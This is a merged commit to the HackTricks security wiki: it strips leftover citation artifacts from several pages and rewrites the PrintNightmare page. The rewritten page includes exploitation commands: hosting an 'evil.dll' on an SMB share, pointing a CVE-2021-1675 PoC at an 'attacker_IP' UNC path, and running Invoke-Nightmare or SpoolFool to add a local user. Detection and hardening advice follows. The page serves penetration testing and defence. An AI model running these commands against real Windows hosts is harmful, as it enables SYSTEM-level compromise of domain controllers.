Merge pull request #1105 from HackTricks-wiki/research_update_src_windows-hardening_active-directory-methodology_printnightmare_20250712_082222

Research Update Enhanced src/windows-hardening/active-direct...
This commit is contained in:
SirBroccoli 2025-07-12 11:39:59 +02:00 committed by GitHub
commit 24d32ecb5a
4 changed files with 106 additions and 10 deletions

View File

@ -61,7 +61,7 @@ Java.perform(function () {
});
});
```
Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later earlier versions failed to locate padding for inline hooks. citeturn5search2turn5search0
Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later earlier versions failed to locate padding for inline hooks.
---
@ -69,7 +69,7 @@ Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+)
| Year | CVE | Affected library | Notes |
|------|-----|------------------|-------|
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow reachable from native code that decodes WebP images. Several Android apps bundle vulnerable versions. When you see a `libwebp.so` inside an APK, check its version and attempt exploitation or patching.| citeturn2search0|
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow reachable from native code that decodes WebP images. Several Android apps bundle vulnerable versions. When you see a `libwebp.so` inside an APK, check its version and attempt exploitation or patching.| |
|2024|Multiple|OpenSSL 3.x series|Several memory-safety and padding-oracle issues. Many Flutter & ReactNative bundles ship their own `libcrypto.so`.|
When you spot *third-party* `.so` files inside an APK, always cross-check their hash against upstream advisories. SCA (Software Composition Analysis) is uncommon on mobile, so outdated vulnerable builds are rampant.
@ -92,7 +92,7 @@ When you spot *third-party* `.so` files inside an APK, always cross-check their
### References
- Frida 16.x change-log (Android hooking, tiny-function relocation) [frida.re/news](https://frida.re/news/) citeturn5search0
- NVD advisory for `libwebp` overflow CVE-2023-4863 [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) citeturn2search0
- Frida 16.x change-log (Android hooking, tiny-function relocation) [frida.re/news](https://frida.re/news/)
- NVD advisory for `libwebp` overflow CVE-2023-4863 [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -106,7 +106,7 @@ Recent Frida releases (>=16) automatically handle pointer authentication and oth
### Automated dynamic analysis with MobSF (no jailbreak)
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) can instrument a dev-signed IPA on a real device using the same technique (`get_task_allow`) and provides a web UI with filesystem browser, traffic capture and Frida console【turn6view0†L2-L3】. The quickest way is to run MobSF in Docker and then plug your iPhone via USB:
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) can instrument a dev-signed IPA on a real device using the same technique (`get_task_allow`) and provides a web UI with filesystem browser, traffic capture and Frida console【†L2-L3】. The quickest way is to run MobSF in Docker and then plug your iPhone via USB:
```bash
docker pull opensecurity/mobile-security-framework-mobsf:latest

View File

@ -141,7 +141,7 @@ Point the UNC path to:
* a host that drops the TCP handshake after `SYN-ACK`
* a firewall sinkhole
The extra seconds introduced by the remote lookup can be used as an **out-of-band timing oracle** for boolean conditions (e.g. pick a slow path only when the injected predicate is true). Microsoft documents the remote database behaviour and the associated registry kill-switch in KB5002984. citeturn1search0
The extra seconds introduced by the remote lookup can be used as an **out-of-band timing oracle** for boolean conditions (e.g. pick a slow path only when the injected predicate is true). Microsoft documents the remote database behaviour and the associated registry kill-switch in KB5002984.
### Other Interesting functions
@ -229,7 +229,7 @@ Mitigations (recommended even for legacy Classic ASP apps):
* Block outbound SMB/WebDAV at the network boundary.
* Sanitize / parameterise any part of a query that may end up inside an `IN` clause.
The forced-authentication vector was revisited by Check Point Research in 2023, proving it is still exploitable on fully patched Windows Server when the registry key is absent. citeturn0search0
The forced-authentication vector was revisited by Check Point Research in 2023, proving it is still exploitable on fully patched Windows Server when the registry key is absent.
### .mdb Password Cracker

View File

@ -1,10 +1,106 @@
# PrintNightmare
# PrintNightmare (Windows Print Spooler RCE/LPE)
{{#include ../../banners/hacktricks-training.md}}
**Check this awesome blog post about PrintNightmare in 2024: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
> PrintNightmare is the collective name given to a family of vulnerabilities in the Windows **Print Spooler** service that allow **arbitrary code execution as SYSTEM** and, when the spooler is reachable over RPC, **remote code execution (RCE) on domain controllers and file servers**. The most-widely exploited CVEs are **CVE-2021-1675** (initially classed as LPE) and **CVE-2021-34527** (full RCE). Subsequent issues such as **CVE-2021-34481 (“Point & Print”)** and **CVE-2022-21999 (“SpoolFool”)** prove that the attack surface is still far from closed.
---
## 1. Vulnerable components & CVEs
| Year | CVE | Short name | Primitive | Notes |
|------|-----|------------|-----------|-------|
|2021|CVE-2021-1675|“PrintNightmare #1”|LPE|Patched in June 2021 CU but bypassed by CVE-2021-34527|
|2021|CVE-2021-34527|“PrintNightmare”|RCE/LPE|AddPrinterDriverEx allows authenticated users to load a driver DLL from a remote share|
|2021|CVE-2021-34481|“Point & Print”|LPE|Unsigned driver installation by non-admin users|
|2022|CVE-2022-21999|“SpoolFool”|LPE|Arbitrary directory creation → DLL planting works after 2021 patches|
All of them abuse one of the **MS-RPRN / MS-PAR RPC methods** (`RpcAddPrinterDriver`, `RpcAddPrinterDriverEx`, `RpcAsyncAddPrinterDriver`) or trust relationships inside **Point & Print**.
## 2. Exploitation techniques
### 2.1 Remote Domain Controller compromise (CVE-2021-34527)
An authenticated but **non-privileged** domain user can run arbitrary DLLs as **NT AUTHORITY\SYSTEM** on a remote spooler (often the DC) by:
```powershell
# 1. Host malicious driver DLL on a share the victim can reach
impacket-smbserver share ./evil_driver/ -smb2support
# 2. Use a PoC to call RpcAddPrinterDriverEx
python3 CVE-2021-1675.py victim_DC.domain.local 'DOMAIN/user:Password!' \
-f \
'\\attacker_IP\share\evil.dll'
```
Popular PoCs include **CVE-2021-1675.py** (Python/Impacket), **SharpPrintNightmare.exe** (C#) and Benjamin Delpys `misc::printnightmare / lsa::addsid` modules in **mimikatz**.
### 2.2 Local privilege escalation (any supported Windows, 2021-2024)
The same API can be called **locally** to load a driver from `C:\Windows\System32\spool\drivers\x64\3\` and achieve SYSTEM privileges:
```powershell
Import-Module .\Invoke-Nightmare.ps1
Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!
```
### 2.3 SpoolFool (CVE-2022-21999) bypassing 2021 fixes
Microsofts 2021 patches blocked remote driver loading but **did not harden directory permissions**. SpoolFool abuses the `SpoolDirectory` parameter to create an arbitrary directory under `C:\Windows\System32\spool\drivers\`, drops a payload DLL, and forces the spooler to load it:
```powershell
# Binary version (local exploit)
SpoolFool.exe -dll add_user.dll
# PowerShell wrapper
Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll
```
> The exploit works on fully-patched Windows 7 → Windows 11 and Server 2012R2 → 2022 before February 2022 updates
---
## 3. Detection & hunting
* **Event Logs** enable the *Microsoft-Windows-PrintService/Operational* and *Admin* channels and watch for **Event ID 808** “The print spooler failed to load a plug-in module” or for **RpcAddPrinterDriverEx** messages.
* **Sysmon** `Event ID 7` (Image loaded) or `11/23` (File write/delete) inside `C:\Windows\System32\spool\drivers\*` when the parent process is **spoolsv.exe**.
* **Process lineage** alerts whenever **spoolsv.exe** spawns `cmd.exe`, `rundll32.exe`, PowerShell or any unsigned binary .
## 4. Mitigation & hardening
1. **Patch!** Apply the latest cumulative update on every Windows host that has the Print Spooler service installed.
2. **Disable the spooler where it is not required**, especially on Domain Controllers:
```powershell
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled
```
3. **Block remote connections** while still allowing local printing Group Policy: `Computer Configuration → Administrative Templates → Printers → Allow Print Spooler to accept client connections = Disabled`.
4. **Restrict Point & Print** so only administrators can add drivers by setting the registry value:
```cmd
reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f
```
Detailed guidance in Microsoft KB5005652
---
## 5. Related research / tools
* [mimikatz `printnightmare`](https://github.com/gentilkiwi/mimikatz/tree/master/modules) modules
* SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
* SpoolFool exploit & write-up
* 0patch micropatches for SpoolFool and other spooler bugs
---
**More reading (external):** Check the 2024 walk-through blog post [Understanding PrintNightmare Vulnerability](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)
{{#include ../../banners/hacktricks-training.md}}
## References
* Microsoft *KB5005652: Manage new Point & Print default driver installation behavior*
<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>
* Oliver Lyak *SpoolFool: CVE-2022-21999*
<https://github.com/ly4k/SpoolFool>
{{#include /banners/hacktricks-training.md}}